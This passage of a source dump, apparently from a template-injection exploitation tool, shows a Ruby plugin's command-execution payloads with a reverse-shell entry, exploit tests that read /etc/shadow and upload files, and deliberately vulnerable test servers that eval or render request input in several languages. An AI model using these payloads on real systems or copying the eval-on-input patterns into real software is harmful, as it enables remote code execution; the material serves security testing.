66 | 'reverse_shell' : bash.reverse_shell
67 | },
68 | 'execute_blind' : {
69 | 'call': 'inject',
70 | 'execute_blind': """require'base64';%%x(#{Base64.urlsafe_decode64('%(code_b64)s')+' && sleep %(delay)i'})"""
71 | },
72 | })
73 |
74 | self.set_contexts([
75 |
76 | # Text context, no closures
77 | { 'level': 0 },
78 | ])
79 |
80 | language = 'ruby'
81 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | PyYAML==5.1.2
2 | certifi==2018.10.15
3 | chardet==3.0.4
4 | idna==2.8
5 | requests==2.22.0
6 | urllib3==1.24.1
7 | wsgiref==0.1.2
8 |
--------------------------------------------------------------------------------
/tests/basetest.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import os
3 | import sys
4 | import random
5 |
6 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
7 | from core.channel import Channel
8 | from core.checks import check_template_injection
9 | from core.checks import detect_template_injection
10 | from utils import rand
11 | from utils import strings
12 | import utils.loggers
13 | import logging
14 |
15 | utils.loggers.stream_handler.setLevel(logging.FATAL)
16 |
17 | # Test levels limits
18 | LEVEL_LIMIT = 0
19 | CLEVEL_LIMIT = 0
20 |
21 | # Extra tests
22 | EXTRA_UPLOAD = False
23 | EXTRA_DOWNLOAD = False
24 | EXTRA_UPLOAD_BLIND = False
25 |
26 | class BaseTest(object):
27 |
28 | def _get_detection_obj_data(self, url, level = 0, closure_level = 0, technique = 'RT'):
29 |
30 | channel = Channel({
31 | 'url' : url,
32 | 'force_level': [ level, closure_level ],
33 | 'injection_tag': '*',
34 | 'technique': technique
35 | })
36 | obj = detect_template_injection(channel, [ self.plugin ])
37 |
38 | # Delete OS to make the tests portable
39 | if 'os' in channel.data:
40 | del channel.data['os']
41 |
42 | return obj, channel.data
43 |
44 |
45 | def test_detection(self):
46 |
47 | channel = Channel({
48 | 'url' : self.url,
49 | 'level': 5,
50 | 'injection_tag': '*',
51 | 'technique': 'RT'
52 | })
53 | check_template_injection(channel)
54 |
55 | # Delete OS to make the tests portable
56 | if 'os' in channel.data:
57 | del channel.data['os']
58 |
59 | # Delete any unreliable engine detected
60 | if 'unreliable' in channel.data:
61 | del channel.data['unreliable']
62 |
63 | self.assertEqual(
64 | channel.data,
65 | self.expected_data,
66 | )
67 |
68 | def test_reflection(self):
69 |
70 | for reflection_test in self.reflection_tests:
71 |
72 | level, clevel, template, channel_updates = reflection_test
73 |
74 | # Honour global level limit
75 | if level > LEVEL_LIMIT or clevel > CLEVEL_LIMIT:
76 | continue
77 |
78 | expected_data = self.expected_data.copy()
79 | expected_data.update(channel_updates)
80 |
81 | obj, data = self._get_detection_obj_data(self.url % template, level, clevel, technique = 'R')
82 |
83 | self.assertEqual(
84 | data,
85 | expected_data,
86 | msg = '\nreflection\ntemplate: %s\nlevels: %i %i\nreturned data: %s\nexpected data: %s' % (repr(template).strip("'"), level, clevel, str(data), str(expected_data))
87 | )
88 |
89 | def test_blind(self):
90 |
91 | for blind_test in self.blind_tests:
92 |
93 | level, clevel, template, channel_updates = blind_test
94 |
95 | # Honour global level limit
96 | if level > LEVEL_LIMIT or clevel > CLEVEL_LIMIT:
97 | continue
98 |
99 | expected_data = self.expected_data_blind.copy()
100 | expected_data.update(channel_updates)
101 |
102 | obj, data = self._get_detection_obj_data(self.url_blind % template, level, clevel, technique = 'T')
103 |
104 | self.assertEqual(
105 | data,
106 | expected_data,
107 | msg = '\nblind\ntemplate: %s\nlevels: %i %i\nreturned data: %s\nexpected data: %s' % (repr(template).strip("'"), level, clevel, str(data), str(expected_data))
108 | )
109 |
110 | def test_download(self):
111 |
112 | obj, data = self._get_detection_obj_data(self.url)
113 | self.assertEqual(data, self.expected_data)
114 |
115 | if not EXTRA_DOWNLOAD:
116 | return
117 |
118 | # Normal ASCII file
119 | readable_file = '/etc/resolv.conf'
120 | content = open(readable_file, 'r').read()
121 | self.assertEqual(content, obj.read(readable_file))
122 |
123 | # Long binary file
124 | readable_file = '/bin/ls'
125 | content = open(readable_file, 'rb').read()
126 | self.assertEqual(content, obj.read(readable_file))
127 |
128 | # Non existant file
129 | self.assertEqual(None, obj.read('/nonexistant'))
130 | # Unpermitted file
131 | self.assertEqual(None, obj.read('/etc/shadow'))
132 | # Empty file
133 | self.assertEqual('', obj.read('/dev/null'))
134 |
135 | def test_upload(self):
136 |
137 | obj, data = self._get_detection_obj_data(self.url)
138 | self.assertEqual(data, self.expected_data)
139 |
140 | if not EXTRA_UPLOAD:
141 | return
142 |
143 | remote_temp_path = '/tmp/tplmap_%s.tmp' % rand.randstr_n(10)
144 | # Send long binary
145 | data = open('/bin/ls', 'rb').read()
146 | obj.write(data, remote_temp_path)
147 | self.assertEqual(obj.md5(remote_temp_path), strings.md5(data))
148 | obj.execute('rm %s' % (remote_temp_path))
149 |
150 | remote_temp_path = '/tmp/tplmap_%s.tmp' % rand.randstr_n(10)
151 | # Send short ASCII data, without removing it
152 | data = 'SHORT ASCII DATA'
153 | obj.write(data, remote_temp_path)
154 | self.assertEqual(obj.md5(remote_temp_path), strings.md5(data))
155 |
156 | # Try to append data without --force-overwrite and re-check the previous md5
157 | obj.write('APPENDED DATA', remote_temp_path)
158 | self.assertEqual(obj.md5(remote_temp_path), strings.md5(data))
159 |
160 | # Now set --force-overwrite and rewrite new data on the same file
161 | obj.channel.args['force_overwrite'] = True
162 | data = 'NEW DATA'
163 | obj.write(data, remote_temp_path)
164 | self.assertEqual(obj.md5(remote_temp_path), strings.md5(data))
165 | obj.execute('rm %s' % (remote_temp_path))
166 |
167 | def test_upload_blind(self):
168 |
169 | obj, data = self._get_detection_obj_data(
170 | self.url_blind,
171 | technique = 'T'
172 | )
173 | self.assertEqual(data, self.expected_data_blind)
174 |
175 | if not EXTRA_UPLOAD_BLIND:
176 | return
177 |
178 | # Send file without --force-overwrite, should fail
179 | remote_temp_path = '/tmp/tplmap_%s.tmp' % rand.randstr_n(10)
180 | obj.write('AAAA', remote_temp_path)
181 | self.assertFalse(os.path.exists(remote_temp_path))
182 |
183 | # Now set --force-overwrite and retry
184 | obj.channel.args['force_overwrite'] = True
185 |
186 | # Send long binary
187 | data = open('/bin/ls', 'rb').read()
188 | obj.write(data, remote_temp_path)
189 |
190 | # Since it's blind, read md5 from disk
191 | checkdata = open(remote_temp_path, 'rb').read()
192 | self.assertEqual(strings.md5(checkdata), strings.md5(data))
193 | os.unlink(remote_temp_path)
194 |
195 | remote_temp_path = '/tmp/tplmap_%s.tmp' % rand.randstr_n(10)
196 | # Send short ASCII data
197 | data = 'SHORT ASCII DATA'
198 | obj.write(data, remote_temp_path)
199 |
200 | checkdata = open(remote_temp_path, 'rb').read()
201 | self.assertEqual(strings.md5(checkdata), strings.md5(data))
202 | os.unlink(remote_temp_path)
--------------------------------------------------------------------------------
/tests/env_java_tests/spark-app/build.gradle:
--------------------------------------------------------------------------------
1 | plugins {
2 | id "java"
3 | id "application"
4 | id "com.github.johnrengelman.shadow" version "1.2.3"
5 | }
6 |
7 | group 'org.tplmap.webframeworks'
8 | version '1.0-SNAPSHOT'
9 |
10 |
11 | sourceCompatibility = 1.8
12 | mainClassName = 'org.tplmap.webframeworks.SparkApplication'
13 |
14 |
15 | repositories {
16 | jcenter()
17 | mavenCentral()
18 | }
19 |
20 | dependencies {
21 | compile 'com.sparkjava:spark-core:2.3'
22 | compile group: 'org.freemarker', name: 'freemarker', version: '2.3.14'
23 | compile group: 'org.apache.velocity', name: 'velocity', version: '1.6.2'
24 | testCompile group: 'junit', name: 'junit', version: '4.11'
25 | }
26 |
--------------------------------------------------------------------------------
/tests/env_java_tests/spark-app/gradle/wrapper/gradle-wrapper.properties:
--------------------------------------------------------------------------------
1 | #Wed Feb 17 14:28:33 EET 2016
2 | distributionBase=GRADLE_USER_HOME
3 | distributionPath=wrapper/dists
4 | zipStoreBase=GRADLE_USER_HOME
5 | zipStorePath=wrapper/dists
6 | distributionUrl=https\://services.gradle.org/distributions/gradle-2.5-all.zip
7 |
--------------------------------------------------------------------------------
/tests/env_java_tests/spark-app/settings.gradle:
--------------------------------------------------------------------------------
1 | rootProject.name = 'spark-app'
2 |
3 |
--------------------------------------------------------------------------------
/tests/env_java_tests/spark-app/src/main/java/org/tplmap/webframeworks/SparkApplication.java:
--------------------------------------------------------------------------------
1 | package org.tplmap.webframeworks;
2 | import spark.Request;
3 | import spark.Response;
4 | import spark.Route;
5 | import freemarker.template.Configuration;
6 | import freemarker.template.Template;
7 | import freemarker.template.TemplateException;
8 | import java.io.StringReader;
9 | import java.io.IOException;
10 | import java.io.StringWriter;
11 | import java.util.HashMap;
12 | import org.apache.velocity.VelocityContext ;
13 | import org.apache.velocity.app.VelocityEngine ;
14 | import org.apache.velocity.exception.MethodInvocationException ;
15 | import org.apache.velocity.exception.ParseErrorException ;
16 | import org.apache.velocity.exception.ResourceNotFoundException ;
17 | import org.apache.velocity.runtime.RuntimeConstants ;
18 | import org.apache.velocity.runtime.log.LogChute ;
19 | import org.apache.velocity.runtime.log.NullLogChute ;
20 | import java.util.UUID;
21 |
22 | import static spark.Spark.*;
23 |
24 | public class SparkApplication {
25 |
26 | public static void main(String[] args) {
27 | port(15003);
28 | get("/freemarker", SparkApplication::freemarker);
29 | get("/velocity", SparkApplication::velocity);
30 | }
31 |
32 | public static Object velocity(Request request, Response response) {
33 |
34 |
35 | // Get inj parameter, exit if none
36 | String inj = request.queryParams("inj");
37 | if(inj == null) {
38 | return "";
39 | }
40 |
41 | // Get tpl parameter
42 | String tpl = request.queryParams("tpl");
43 |
44 | // If tpl exists
45 | if(tpl != null && !tpl.isEmpty()) {
46 | // Keep the formatting a-la-python
47 | tpl = tpl.replace("%s", inj);
48 | }
49 | else {
50 | tpl = inj;
51 | }
52 |
53 | String blind = request.queryParams("blind");
54 |
55 | LogChute velocityLogChute = new NullLogChute() ;
56 | VelocityEngine velocity;
57 | StringWriter w;
58 | try{
59 | velocity = new VelocityEngine() ;
60 | // Turn off logging - catch exceptions and log ourselves
61 | velocity.setProperty(RuntimeConstants.RUNTIME_LOG_LOGSYSTEM, velocityLogChute) ;
62 | velocity.setProperty(RuntimeConstants.INPUT_ENCODING, "UTF-8") ;
63 | velocity.init() ;
64 |
65 | VelocityContext context = new VelocityContext();
66 | w = new StringWriter();
67 |
68 | velocity.evaluate( context, w, "mystring", tpl );
69 |
70 |
71 | }catch(Exception e){
72 | e.printStackTrace();
73 | return "";
74 | }
75 |
76 | // Return out string if not blind
77 | if(blind == null){
78 | return UUID.randomUUID().toString() + w.toString() + UUID.randomUUID().toString();
79 | }
80 | else {
81 | return UUID.randomUUID().toString();
82 | }
83 | }
84 |
85 | public static Object freemarker(Request request, Response response) {
86 |
87 | // Get inj parameter, exit if none
88 | String inj = request.queryParams("inj");
89 | if(inj == null) {
90 | return "";
91 | }
92 |
93 | // Get tpl parameter
94 | String tpl = request.queryParams("tpl");
95 |
96 | // If tpl exists
97 | if(tpl != null && !tpl.isEmpty()) {
98 | // Keep the formatting a-la-python
99 | tpl = tpl.replace("%s", inj);
100 | }
101 | else {
102 | tpl = inj;
103 | }
104 |
105 | // Get blind parameter
106 | String blind = request.queryParams("blind");
107 |
108 | // Generate template from "inj"
109 | Template template;
110 | try{
111 | template = new Template("name", new StringReader(tpl), new Configuration());
112 | }catch(IOException e){
113 | e.printStackTrace();
114 | return "";
115 | }
116 |
117 | // Write processed template to out
118 | HashMap data = new HashMap();
119 | StringWriter out = new StringWriter();
120 | try{
121 | template.process(data, out);
122 | }catch(TemplateException | IOException e){
123 | e.printStackTrace();
124 | return "";
125 | }
126 |
127 | // Return out string if not blind
128 | if(blind == null){
129 | return UUID.randomUUID().toString() + out.toString() + UUID.randomUUID().toString();
130 | }
131 | else {
132 | return UUID.randomUUID().toString();
133 | }
134 | }
135 | }
136 |
--------------------------------------------------------------------------------
/tests/env_java_tests/spark-app/src/main/resources/templates/hello.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Hello world
6 |
7 |
8 | Hello, [[${name}]]!
9 |
10 |
--------------------------------------------------------------------------------
/tests/env_node_tests/connect-app.js:
--------------------------------------------------------------------------------
1 | var connect = require('connect');
2 | var http = require('http');
3 | var url = require('url');
4 | var pug = require('pug');
5 | var nunjucks = require('nunjucks');
6 | var dust = require('dustjs-linkedin');
7 | var dusthelpers = require('dustjs-helpers');
8 | var randomstring = require("randomstring");
9 | var doT=require('dot');
10 | var marko=require('marko');
11 | var ejs=require('ejs');
12 |
13 | var app = connect();
14 |
15 | // Pug
16 | app.use('/pug', function(req, res){
17 | if(req.url) {
18 | var url_parts = url.parse(req.url, true);
19 |
20 | var inj = url_parts.query.inj;
21 | var tpl = '';
22 | if('tpl' in url_parts.query && url_parts.query.tpl != '') {
23 | // Keep the formatting a-la-python
24 | tpl = url_parts.query.tpl.replace('%s', inj);
25 | }
26 | else {
27 | tpl = inj;
28 | }
29 | res.end(randomstring.generate() + pug.render(tpl) + randomstring.generate());
30 | }
31 | });
32 |
33 | // Pug blind endpoint
34 | app.use('/blind/pug', function(req, res){
35 | if(req.url) {
36 | var url_parts = url.parse(req.url, true);
37 |
38 | var inj = url_parts.query.inj;
39 | var tpl = '';
40 | if('tpl' in url_parts.query && url_parts.query.tpl != '') {
41 | // Keep the formatting a-la-python
42 | tpl = url_parts.query.tpl.replace('%s', inj);
43 | }
44 | else {
45 | tpl = inj;
46 | }
47 | console.log('PAYLOAD: ' + tpl);
48 | pug.render(tpl)
49 | res.end(randomstring.generate());
50 | }
51 | });
52 |
53 | // Nunjucks
54 | app.use('/nunjucks', function(req, res){
55 | if(req.url) {
56 | var url_parts = url.parse(req.url, true);
57 |
58 | var inj = url_parts.query.inj;
59 | var tpl = '';
60 | if('tpl' in url_parts.query && url_parts.query.tpl != '') {
61 | // Keep the formatting a-la-python
62 | tpl = url_parts.query.tpl.replace('%s', inj);
63 | }
64 | else {
65 | tpl = inj;
66 | }
67 | res.end(randomstring.generate() + nunjucks.renderString(tpl) + randomstring.generate());
68 | }
69 | });
70 |
71 | // Nunjucks blind endpoint
72 | app.use('/blind/nunjucks', function(req, res){
73 | if(req.url) {
74 | var url_parts = url.parse(req.url, true);
75 |
76 | var inj = url_parts.query.inj;
77 | var tpl = '';
78 | if('tpl' in url_parts.query && url_parts.query.tpl != '') {
79 | // Keep the formatting a-la-python
80 | tpl = url_parts.query.tpl.replace('%s', inj);
81 | }
82 | else {
83 | tpl = inj;
84 | }
85 | nunjucks.renderString(tpl);
86 | res.end(randomstring.generate());
87 | }
88 | });
89 |
90 | // Javascript
91 | app.use('/javascript', function(req, res){
92 | if(req.url) {
93 | var url_parts = url.parse(req.url, true);
94 |
95 | var inj = url_parts.query.inj;
96 | var tpl = '';
97 | if('tpl' in url_parts.query && url_parts.query.tpl != '') {
98 | // Keep the formatting a-la-python
99 | tpl = url_parts.query.tpl.replace('%s', inj);
100 | }
101 | else {
102 | tpl = inj;
103 | }
104 | res.end(randomstring.generate() + String(eval(tpl)) + randomstring.generate());
105 | }
106 | });
107 |
108 | // Javascript blind endpoint
109 | app.use('/blind/javascript', function(req, res){
110 | if(req.url) {
111 | var url_parts = url.parse(req.url, true);
112 |
113 | var inj = url_parts.query.inj;
114 | var tpl = '';
115 | if('tpl' in url_parts.query && url_parts.query.tpl != '') {
116 | // Keep the formatting a-la-python
117 | tpl = url_parts.query.tpl.replace('%s', inj);
118 | }
119 | else {
120 | tpl = inj;
121 | }
122 | eval(tpl);
123 | res.end(randomstring.generate());
124 | }
125 | });
126 |
127 | // Dust
128 | app.use('/dust', function(req, res){
129 | if(req.url) {
130 | var url_parts = url.parse(req.url, true);
131 |
132 | var inj = url_parts.query.inj;
133 | var tpl = '';
134 | if('tpl' in url_parts.query && url_parts.query.tpl != '') {
135 | // Keep the formatting a-la-python
136 | tpl = url_parts.query.tpl.replace('%s', inj);
137 | }
138 | else {
139 | tpl = inj;
140 | }
141 |
142 | console.log('PAYLOAD: ' + tpl);
143 | dust.debugLevel = "DEBUG"
144 | output = '';
145 | var compiled = dust.compile(tpl, "compiled");
146 | dust.loadSource(compiled);
147 | dust.render("compiled", {}, function(err, outp) { output = outp })
148 | res.end(randomstring.generate() + output + randomstring.generate());
149 | }
150 | });
151 |
152 | // Dust blind endpoint
153 | app.use('/blind/dust', function(req, res){
154 | if(req.url) {
155 | var url_parts = url.parse(req.url, true);
156 |
157 | var inj = url_parts.query.inj;
158 | var tpl = '';
159 | if('tpl' in url_parts.query && url_parts.query.tpl != '') {
160 | // Keep the formatting a-la-python
161 | tpl = url_parts.query.tpl.replace('%s', inj);
162 | }
163 | else {
164 | tpl = inj;
165 | }
166 |
167 | console.log('PAYLOAD: ' + tpl);
168 | dust.debugLevel = "DEBUG"
169 | var compiled = dust.compile(tpl, "compiled");
170 | dust.loadSource(compiled);
171 | dust.render("compiled", {}, function(err, outp) { })
172 |
173 | res.end(randomstring.generate());
174 | }
175 | });
176 |
177 | // doT
178 | app.use('/dot', function(req, res){
179 | if(req.url) {
180 | var url_parts = url.parse(req.url, true);
181 |
182 | var inj = url_parts.query.inj;
183 | var tpl = '';
184 | if('tpl' in url_parts.query && url_parts.query.tpl != '') {
185 | // Keep the formatting a-la-python
186 | tpl = url_parts.query.tpl.replace('%s', inj);
187 | }
188 | else {
189 | tpl = inj;
190 | }
191 | res.end(randomstring.generate() + doT.template(tpl)({}) + randomstring.generate());
192 | }
193 | });
194 |
195 | // doT blind endpoint
196 | app.use('/blind/dot', function(req, res){
197 | if(req.url) {
198 | var url_parts = url.parse(req.url, true);
199 |
200 | var inj = url_parts.query.inj;
201 | var tpl = '';
202 | if('tpl' in url_parts.query && url_parts.query.tpl != '') {
203 | // Keep the formatting a-la-python
204 | tpl = url_parts.query.tpl.replace('%s', inj);
205 | }
206 | else {
207 | tpl = inj;
208 | }
209 | doT.template(tpl)({});
210 | res.end(randomstring.generate());
211 | }
212 | });
213 |
214 | // Marko
215 | app.use('/marko', function(req, res){
216 | if(req.url) {
217 | var url_parts = url.parse(req.url, true);
218 |
219 | var inj = url_parts.query.inj;
220 | var tpl = '';
221 | if('tpl' in url_parts.query && url_parts.query.tpl != '') {
222 | // Keep the formatting a-la-python
223 | tpl = url_parts.query.tpl.replace('%s', inj);
224 | }
225 | else {
226 | tpl = inj;
227 | }
228 | res.end(randomstring.generate() + marko.load(randomstring.generate(), tpl).renderSync() + randomstring.generate());
229 | }
230 | });
231 |
232 | // Marko blind endpoint
233 | app.use('/blind/marko', function(req, res){
234 | if(req.url) {
235 | var url_parts = url.parse(req.url, true);
236 |
237 | var inj = url_parts.query.inj;
238 | var tpl = '';
239 | if('tpl' in url_parts.query && url_parts.query.tpl != '') {
240 | // Keep the formatting a-la-python
241 | tpl = url_parts.query.tpl.replace('%s', inj);
242 | }
243 | else {
244 | tpl = inj;
245 | }
246 | marko.load(randomstring.generate(), tpl).renderSync()
247 | res.end(randomstring.generate());
248 | }
249 | });
250 |
251 | // EJS
252 | app.use('/ejs', function(req, res){
253 | if(req.url) {
254 | var url_parts = url.parse(req.url, true);
255 |
256 | var inj = url_parts.query.inj;
257 | var tpl = '';
258 | if('tpl' in url_parts.query && url_parts.query.tpl != '') {
259 | // Keep the formatting a-la-python
260 | tpl = url_parts.query.tpl.replace('%s', inj);
261 | }
262 | else {
263 | tpl = inj;
264 | }
265 | res.end(randomstring.generate() + ejs.render(tpl) + randomstring.generate());
266 | }
267 | });
268 |
269 | // EJS blind endpoint
270 | app.use('/blind/ejs', function(req, res){
271 | if(req.url) {
272 | var url_parts = url.parse(req.url, true);
273 |
274 | var inj = url_parts.query.inj;
275 | var tpl = '';
276 | if('tpl' in url_parts.query && url_parts.query.tpl != '') {
277 | // Keep the formatting a-la-python
278 | tpl = url_parts.query.tpl.replace('%s', inj);
279 | }
280 | else {
281 | tpl = inj;
282 | }
283 | ejs.render(tpl);
284 | res.end(randomstring.generate());
285 | }
286 | });
287 |
288 | //create node.js http server and listen on port
289 | http.createServer(app).listen(15004);
290 |
--------------------------------------------------------------------------------
/tests/env_php_tests/eval.php:
--------------------------------------------------------------------------------
1 | : ' . $rendered);
21 | echo generateRandomString();
22 | }
23 | else {
24 | error_log('DEBUG< : ' . $tpl);
25 | ob_start();
26 | $rendered = eval($tpl);
27 | ob_end_clean();
28 | error_log('DEBUG> : ' . $rendered);
29 | echo generateRandomString();
30 | }
31 | ?>
32 |
--------------------------------------------------------------------------------
/tests/env_php_tests/smarty-3.1.32-secured.php:
--------------------------------------------------------------------------------
1 | clearAllCache();
12 |
13 | $inj=$_GET["inj"];
14 | if(isset($_GET["tpl"]) && $_GET["tpl"] != "") {
15 | // Keep the formatting a-la-python
16 | $tpl=str_replace("%s", $inj, $_GET["tpl"]);
17 | }
18 | else {
19 | $tpl=$inj;
20 | }
21 |
22 | error_log('DEBUG< : ' . $tpl);
23 | $rendered = $smarty->fetch('string:'.$tpl);
24 | error_log('DEBUG> : ' . $rendered);
25 |
26 | if(!$_GET["blind"]) {
27 | echo generateRandomString() . $rendered . generateRandomString();
28 | }
29 | else {
30 | echo generateRandomString();
31 | }
32 | ?>
33 |
--------------------------------------------------------------------------------
/tests/env_php_tests/smarty-3.1.32-unsecured.php:
--------------------------------------------------------------------------------
1 | clearAllCache();
12 |
13 | // Run render via CLI
14 | if (php_sapi_name() == "cli") {
15 | $_GET["inj"] = '';
16 | $_GET["tpl"] = '';
17 | }
18 |
19 | $inj=$_GET["inj"];
20 | if(isset($_GET["tpl"]) && $_GET["tpl"] != "") {
21 | // Keep the formatting a-la-python
22 | $tpl=str_replace("%s", $inj, $_GET["tpl"]);
23 | }
24 | else {
25 | $tpl=$inj;
26 | }
27 |
28 | error_log('DEBUG< : ' . $tpl);
29 | $rendered = $smarty->fetch('string:'.$tpl);
30 | error_log('DEBUG> : ' . $rendered);
31 |
32 | if(!$_GET["blind"]) {
33 | echo generateRandomString() . $rendered . generateRandomString();
34 | }
35 | else {
36 | echo generateRandomString();
37 | }
38 | ?>
39 |
--------------------------------------------------------------------------------
/tests/env_php_tests/twig-1.19.0-unsecured.php:
--------------------------------------------------------------------------------
1 | $tpl,
27 | ));
28 | $twig = new Twig_Environment($loader);
29 |
30 | error_log('DEBUG<: ' . $tpl);
31 | $rendered = $twig->render('tpl');
32 | error_log('DEBUG> : ' . $rendered);
33 |
34 | if(!$_GET["blind"]) {
35 | echo generateRandomString() . $rendered . generateRandomString();
36 | }
37 | else {
38 | echo generateRandomString();
39 | }
40 | ?>
41 |
--------------------------------------------------------------------------------
/tests/env_php_tests/twig-1.20.0-secured.php:
--------------------------------------------------------------------------------
1 | $tpl,
27 | ));
28 | $twig = new Twig_Environment($loader);
29 |
30 | error_log('DEBUG<: ' . $tpl);
31 | $rendered = $twig->render('tpl');
32 | error_log('DEBUG> : ' . $rendered);
33 |
34 | if(!$_GET["blind"]) {
35 | echo generateRandomString() . $rendered . generateRandomString();
36 | }
37 | else {
38 | echo generateRandomString();
39 | }
40 | ?>
41 |
--------------------------------------------------------------------------------
/tests/env_py_tests/webserver.py:
--------------------------------------------------------------------------------
1 | from flask import Flask, request
2 | app = Flask(__name__)
3 | from mako.template import Template as MakoTemplates
4 | from mako.lookup import TemplateLookup
5 | from jinja2 import Environment as Jinja2Environment
6 | import tornado.template
7 | import random
8 | import time
9 |
10 | try:
11 | from string import lowercase as ascii_lowercase
12 | except ImportError:
13 | from string import ascii_lowercase
14 |
15 | mylookup = TemplateLookup(directories=['/tpl'])
16 |
17 | Jinja2Env = Jinja2Environment(line_statement_prefix='#')
18 |
19 | def shutdown_server():
20 | func = request.environ.get('werkzeug.server.shutdown')
21 | if func is None:
22 | raise RuntimeError('Not running with the Werkzeug Server')
23 | func()
24 |
25 | def randomword(length = 8):
26 | return ''.join(random.choice(ascii_lowercase) for i in range(length))
27 |
28 | @app.route("/reflect/")
29 | def reflect(engine):
30 |
31 | template = request.values.get('tpl')
32 | if not template:
33 | template = '%s'
34 |
35 | injection = request.values.get('inj')
36 |
37 | if engine == 'mako':
38 | return randomword() + MakoTemplates(template % injection, lookup=mylookup).render() + randomword()
39 | elif engine == 'jinja2':
40 | return randomword() + Jinja2Env.from_string(template % injection).render() + randomword()
41 | elif engine == 'eval':
42 | return randomword() + str(eval(template % injection)) + randomword()
43 | elif engine == 'tornado':
44 | return randomword() + tornado.template.Template(template % injection).generate().decode() + randomword()
45 |
46 | @app.route("/url//")
47 | def url_reflect(engine, injection):
48 |
49 | template = request.values.get('tpl')
50 | if not template:
51 | template = '%s'
52 |
53 | if engine == 'mako':
54 | return randomword() + MakoTemplates(template % injection, lookup=mylookup).render() + randomword()
55 | elif engine == 'jinja2':
56 | return randomword() + Jinja2Env.from_string(template % injection).render() + randomword()
57 | elif engine == 'eval':
58 | return randomword() + str(eval(template % injection)) + randomword()
59 | elif engine == 'tornado':
60 | return randomword() + tornado.template.Template(template % injection).generate().decode() + randomword()
61 |
62 |
63 | @app.route("/post/", methods = [ "POST" ])
64 | def postfunc(engine):
65 |
66 | template = request.values.get('tpl')
67 | if not template:
68 | template = '%s'
69 |
70 | injection = request.values.get('inj')
71 |
72 | if engine == 'mako':
73 | return randomword() + MakoTemplates(template % injection, lookup=mylookup).render() + randomword()
74 | elif engine == 'jinja2':
75 | return randomword() + Jinja2Env.from_string(template % injection).render() + randomword()
76 |
77 |
78 | @app.route("/header/")
79 | def headerfunc(engine):
80 |
81 | template = request.headers.get('tpl')
82 | if not template:
83 | template = '%s'
84 |
85 | injection = request.headers.get('User-Agent')
86 |
87 | if engine == 'mako':
88 | return randomword() + MakoTemplates(template % injection, lookup=mylookup).render() + randomword()
89 | elif engine == 'jinja2':
90 | return randomword() + Jinja2Env.from_string(template % injection).render() + randomword()
91 |
92 | @app.route("/put/", methods = [ "PUT" ])
93 | def putfunc(engine):
94 |
95 | template = request.values.get('tpl')
96 | if not template:
97 | template = '%s'
98 |
99 | injection = request.values.get('inj')
100 | if engine == 'mako':
101 | return randomword() + MakoTemplates(template % injection, lookup=mylookup).render() + randomword()
102 | elif engine == 'jinja2':
103 | return randomword() + Jinja2Env.from_string(template % injection).render() + randomword()
104 |
105 | @app.route("/limit/")
106 | def limited(engine):
107 | template = request.values.get('tpl')
108 | if not template:
109 | template = '%s'
110 |
111 | length = int(request.values.get('limit'))
112 |
113 | injection = request.values.get('inj', '')
114 | if len(injection) > length:
115 | return 'Inj too long'
116 |
117 | if engine == 'mako':
118 | return randomword() + MakoTemplates(template % injection, lookup=mylookup).render() + randomword()
119 | elif engine == 'jinja2':
120 | return randomword() + Jinja2Env.from_string(template % injection).render() + randomword()
121 |
122 | @app.route("/startswith/")
123 | def startswithtest(engine):
124 | template = request.values.get('tpl')
125 | if not template:
126 | template = '%s'
127 |
128 | str_startswith = request.values.get('startswith')
129 |
130 | injection = request.values.get('inj', '')
131 | if not injection.startswith(str_startswith):
132 | return 'Missing startswith'
133 |
134 | if engine == 'mako':
135 | return randomword() + MakoTemplates(template % injection, lookup=mylookup).render() + randomword()
136 | elif engine == 'jinja2':
137 | return randomword() + Jinja2Env.from_string(template % injection).render() + randomword()
138 |
139 |
140 | @app.route("/blind/")
141 | def blind(engine):
142 |
143 | template = request.values.get('tpl')
144 | if not template:
145 | template = '%s'
146 |
147 | injection = request.values.get('inj')
148 |
149 | if engine == 'mako':
150 | MakoTemplates(template % injection, lookup=mylookup).render()
151 | elif engine == 'jinja2':
152 | Jinja2Env.from_string(template % injection).render()
153 | elif engine == 'eval':
154 | eval(template % injection)
155 | elif engine == 'tornado':
156 | tornado.template.Template(template % injection).generate()
157 |
158 | return randomword()
159 |
160 | @app.route("/reflect_cookieauth/")
161 | def reflect_cookieauth(engine):
162 |
163 | if not request.cookies.get('SID') == 'SECRET':
164 | return randomword()
165 |
166 | template = request.values.get('tpl')
167 | if not template:
168 | template = '%s'
169 |
170 | injection = request.values.get('inj')
171 |
172 | if engine == 'mako':
173 | return randomword() + MakoTemplates(template % injection, lookup=mylookup).render() + randomword()
174 | elif engine == 'jinja2':
175 | return randomword() + Jinja2Env.from_string(template % injection).render() + randomword()
176 | elif engine == 'eval':
177 | return randomword() + str(eval(template % injection)) + randomword()
178 | elif engine == 'tornado':
179 | return randomword() + tornado.template.Template(template % injection).generate() + randomword()
180 |
181 | @app.route("/delay/")
182 | def delay(seconds = 1):
183 |
184 | time.sleep(seconds)
185 |
186 | return randomword()
187 |
188 | @app.route('/shutdown')
189 | def shutdown():
190 | shutdown_server()
191 | return 'Server shutting down...'
192 |
193 | if __name__ == "__main__":
194 | app.run(host='127.0.0.1', port=15001, debug=False)
195 |
--------------------------------------------------------------------------------
/tests/env_ruby_tests/config.ru:
--------------------------------------------------------------------------------
1 | require "./webserver"
2 |
3 | run Cuba
--------------------------------------------------------------------------------
/tests/env_ruby_tests/webserver.rb:
--------------------------------------------------------------------------------
1 | require "cuba"
2 | require "cuba/safe"
3 |
4 | require 'tilt'
5 | require 'slim'
6 | require 'erb'
7 |
8 | Cuba.plugin Cuba::Safe
9 |
10 | Cuba.define do
11 | on get do
12 | on "reflect/:engine" do |engine|
13 | # Keep the formatting a-la-python
14 | on param("inj"), param("tpl", "%s") do |inj, tpl|
15 |
16 | tpl = tpl.gsub('%s', inj)
17 |
18 | case engine
19 | when "eval"
20 | res.write eval(tpl)
21 | when "slim"
22 | template = Tilt['slim'].new() {|x| tpl}
23 | res.write template.render
24 | when "erb"
25 | template = Tilt['erb'].new() {|x| tpl}
26 | res.write template.render
27 | else
28 | res.write "#{engine} #{inj} #{tpl}"
29 | end
30 |
31 | end
32 | end
33 | on "blind/:engine" do |engine|
34 | # Keep the formatting a-la-python
35 | on param("inj"), param("tpl", "%s") do |inj, tpl|
36 |
